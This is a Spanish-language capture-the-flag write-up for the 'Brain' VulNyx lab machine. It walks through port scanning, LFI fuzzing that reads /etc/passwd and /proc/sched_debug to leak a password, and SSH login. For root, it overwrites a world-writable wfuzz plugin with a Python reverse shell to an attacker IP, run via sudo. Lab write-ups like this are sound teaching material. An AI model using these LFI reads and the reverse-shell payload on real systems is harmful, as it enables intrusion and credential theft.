Brain Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-09 05:19 EDT
Nmap scan report for 192.168.5.96
Host is up (0.00058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 32:95:f9:20:44:d7:a1:d1:80:a8:d6:95:91:d5:1e:da (RSA)
| 256 07:e7:24:38:1d:64:f6:88:9a:71:23:79:b8:d8:e6:57 (ECDSA)
|_ 256 58:a6:da:1e:0f:89:42:2b:ba:de:00:fc:71:78:3d:56 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:05:BA:6C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
Veremos puertos interesantes, pero entre ellos, el puerto 80
que suele alojar una pagina web, si entramos dentro veremos lo siguiente:
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-----------------------------------------------------------------------------------------------------------
S systemd 1 2927.102286 1731 120 0.000000 509.025216 0.000000 0 0 /
La línea runnable tasks:
y columnas como task
, PID
, prio
, wait-time
, sum-exec
, sum-sleep
son típicas de /proc/sched_debug
, por lo que puede ser interesante saber esto, ya que parece que la web nos quiere dar una pista, pero no veremos nada mas.
Vamos a realizar un poco de fuzzing
.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.96/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 361]
Progress: 63222 / 882244 (7.17%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 64694 / 882244 (7.33%)
===============================================================
Finished
===============================================================
No veremos nada interesante, pero si veremos un index.php
que es en el que estamos, como no podemos hacer nada mas, vamos a probar a realizar un fuzzing
con parametro de PHP
a ver si alguno fuera vulnerable a un LFI
.
FFUF
ffuf -u 'http://<IP>/index.php?FUZZ=/etc/passwd' -w <WORDLIST> -fs 361
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.5.96/index.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 361
________________________________________________
include [Status: 200, Size: 1750, Words: 125, Lines: 34, Duration: 24ms]
:: Progress: [20469/20469] :: Job [1/1] :: 1342 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
Veremos que ha funcionado, encontramos el parametro include
como parametro vulnerable en el cual podemos leer archivos del sistema (LFI
) local, por lo que vamos a realizar lo siguiente para probarlo.
Escalate user ben
URL = http://<IP>/index.php?include=/etc/passwd
Info:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ben:x:1000:1000:ben,,,:/home/ben:/bin/bash
Veremos que esta funcionando y ya identificamos 1
usuario llamado ben
, pero si recordamos antes en la pagina estaba cargando un archivo llamado /proc/sched_debug
, vamos a probar a intentar leerlo a ver si nos revela informacion importante o no.
URL = http://<IP>/index.php?include=/proc/sched_debug
Info:
...........................<RESTO DE INFO>.........................................
S ben:B3nP4zz 393 1585.480237 59 120 0.000000 4.695817 0.000000 0 0 /
...........................<RESTO DE INFO>.........................................
De toda la info que nos suelta vemos interesante esta linea de aqui, por lo que vemos puede ser una posible contraseña del usuario ben
por SSH
.
SSH
ssh ben@<IP>
Metemos como contraseña B3nP4zz
...
Linux brain 4.19.0-23-amd64 #1 SMP Debian 4.19.269-1 (2022-12-20) x86_64
ben@brain:~$ whoami
ben
Veremos que estaremos dentro, por lo que leeremos la flag
del usuario.
user.txt
4be68799a5cef6a6e2b36379e8ae2759
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for ben on Brain:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ben may run the following commands on Brain:
(root) NOPASSWD: /usr/bin/wfuzz
Veremos que podemos ejecutar el binario wfuzz
como el usuario root
, vamos a ver el help
de dicha herramienta a ver que podemos ver.
Si listamos los permisos de los .py
que utiliza la herramienta wfuzz
, ya que dicha herramienta cada parametro que tiene, lo tiene asociado con un sccript en python
, veremos lo siguiente:
find /usr/lib/python3/dist-packages/wfuzz /usr/share/wfuzz -type f -name "*.py" -exec ls -l {} \;
Info:
-rw-r--r-- 1 root root 32 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/__main__.py
-rw-r--r-- 1 root root 1729 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/mixins.py
-rw-r--r-- 1 root root 10509 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/options.py
-rw-r--r-- 1 root root 822 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/exception.py
-rw-r--r-- 1 root root 10349 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/core.py
-rw-r--r-- 1 root root 722 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/api.py
-rw-r--r-- 1 root root 2754 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/facade.py
-rw-r--r-- 1 root root 1739 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/listing.py
-rw-r--r-- 1 root root 1148 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/grep.py
-rw-r--r-- 1 root root 2179 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/svn_extractor.py
-rw-r--r-- 1 root root 1513 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/robots.py
-rw-r--r-- 1 root root 4129 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/errors.py
-rw-r--r-- 1 root root 1156 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/sitemap.py
-rw-r--r-- 1 root root 1580 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/cvs_extractor.py
-rw-r--r-- 1 root root 1133 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/screenshot.py
-rw-r--r-- 1 root root 2234 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/links.py
-rw-r--r-- 1 root root 837 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/title.py
-rw-r--r-- 1 root root 1624 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/headers.py
-rw-r--r-- 1 root root 2446 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/wcdb.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/__init__.py
-rw-r--r-- 1 root root 931 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/cookies.py
-rw-r--r-- 1 root root 1906 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/scripts/backups.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/printers/__init__.py
-rw-r--r-- 1 root root 11634 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/printers/printers.py
-rw-r--r-- 1 root root 1873 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/iterators/iterations.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/iterators/__init__.py
-rw-r--r-- 1 root root 1447 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/hexrand.py
-rw-r--r-- 1 root root 3234 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/names.py
-rw-r--r-- 1 root root 1556 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/list.py
-rw-r--r-- 1 root root 1438 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/dirwalk.py
-rw-r--r-- 1 root root 1549 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/iprange.py
-rw-r--r-- 1 root root 1199 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/guitab.py
-rw-r--r-- 1 root root 1594 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/ipnet.py
-rw-r--r-- 1 root root 1232 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py
-rwxrwxrwx 1 root root 1519 abr 19 2023 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
-rw-r--r-- 1 root root 699 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/stdin.py
-rw-r--r-- 1 root root 1669 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/permutation.py
-rw-r--r-- 1 root root 1370 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/file.py
-rw-r--r-- 1 root root 2064 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py
-rw-r--r-- 1 root root 1546 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/hexrange.py
-rw-r--r-- 1 root root 962 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/buffer_overflow.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/__init__.py
-rw-r--r-- 1 root root 2053 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/autorize.py
-rw-r--r-- 1 root root 7807 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/burpstate.py
-rw-r--r-- 1 root root 3581 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/burplog.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/__init__.py
-rw-r--r-- 1 root root 13333 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/encoders/encoders.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugins/encoders/__init__.py
-rw-r--r-- 1 root root 4530 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/utils.py
-rw-r--r-- 1 root root 9977 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/myqueues.py
-rw-r--r-- 1 root root 5201 ene 25 2019 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py
-rw-r--r-- 1 root root 338 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/mixins.py
-rw-r--r-- 1 root root 4142 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/payloadtools.py
-rw-r--r-- 1 root root 4677 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/base.py
-rw-r--r-- 1 root root 1813 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/urlutils.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/plugin_api/__init__.py
-rw-r--r-- 1 root root 7932 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/myhttp.py
-rw-r--r-- 1 root root 2232 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/controller.py
-rw-r--r-- 1 root root 10451 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/guicontrols.py
-rw-r--r-- 1 root root 2988 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/model.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/gui/__init__.py
-rw-r--r-- 1 root root 5660 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/output.py
-rw-r--r-- 1 root root 8699 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/mvc.py
-rw-r--r-- 1 root root 15591 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/clparser.py
-rw-r--r-- 1 root root 10842 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/common.py
-rw-r--r-- 1 root root 2629 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/getch.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/console/__init__.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/ui/__init__.py
-rw-r--r-- 1 root root 10139 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py
-rw-r--r-- 1 root root 5366 ene 25 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/TextParser.py
-rw-r--r-- 1 root root 8353 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/Response.py
-rw-r--r-- 1 root root 713 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/cache.py
-rw-r--r-- 1 root root 245 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/exceptions.py
-rw-r--r-- 1 root root 4174 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/Variables.py
-rw-r--r-- 1 root root 60 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/__init__.py
-rw-r--r-- 1 root root 17387 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/reqresp/Request.py
-rw-r--r-- 1 root root 2657 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/settings/settings.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/settings/__init__.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/__init__.py
-rw-r--r-- 1 root root 4524 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/modulefilter.py
-rw-r--r-- 1 root root 5016 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/loader.py
-rw-r--r-- 1 root root 0 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/__init__.py
-rw-r--r-- 1 root root 4293 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/registrant.py
-rw-r--r-- 1 root root 482 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/externals/moduleman/plugin.py
-rw-r--r-- 1 root root 1232 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/__init__.py
-rw-r--r-- 1 root root 12958 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/filter.py
-rw-r--r-- 1 root root 29849 ene 12 2019 /usr/lib/python3/dist-packages/wfuzz/fuzzobjects.py
Veremos interesante una linea en concreto, en la cual tendremos todos los permisos para modificar lo que queramos en el script de python
de un parametro de la herramienta.
-rwxrwxrwx 1 root root 1519 abr 19 2023 /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
Si investigamos a que parametro pertenece dicho script veremos que es al parametro -z range,<RANGOMINIMO>-<RANGOMAXIMO>
por lo que vamos a modificar dicho script para meter lo siguiente:
Antes para borrarlo todo haremos esto:
echo '' > /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
range.py
#!/usr/bin/env python3
import socket,subprocess,os,pty
# Cambia estos valores por los de tu máquina atacante
RHOST = "<IP>" # IP del atacante
RPORT = <PORT> # Puerto donde escucharás con netcat
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(),0) # STDIN
os.dup2(s.fileno(),1) # STDOUT
os.dup2(s.fileno(),2) # STDERR
pty.spawn("/bin/bash")
except Exception as e:
pass
Ahora si lo guardamos y ejecutamos la herramienta de esta forma invocando el parametro para que se ejecute el script de python
...
sudo wfuzz -z range,1-10 http://localhost/FUZZ
Antes de ejecutarlo nos pondremos a la escucha:
nc -lvnp <PORT>
Ahora si lo ejecutamos lo anterior y volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.96] 55380
root@brain:/home/ben# whoami
whoami
root
Veremos que ha funcionado, por lo que sanitizaremos la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Ahora que somos root
, vamos a leer la flag
de root
.
root.txt
08c391c2d775390f54ee859d7395ac68
Last updated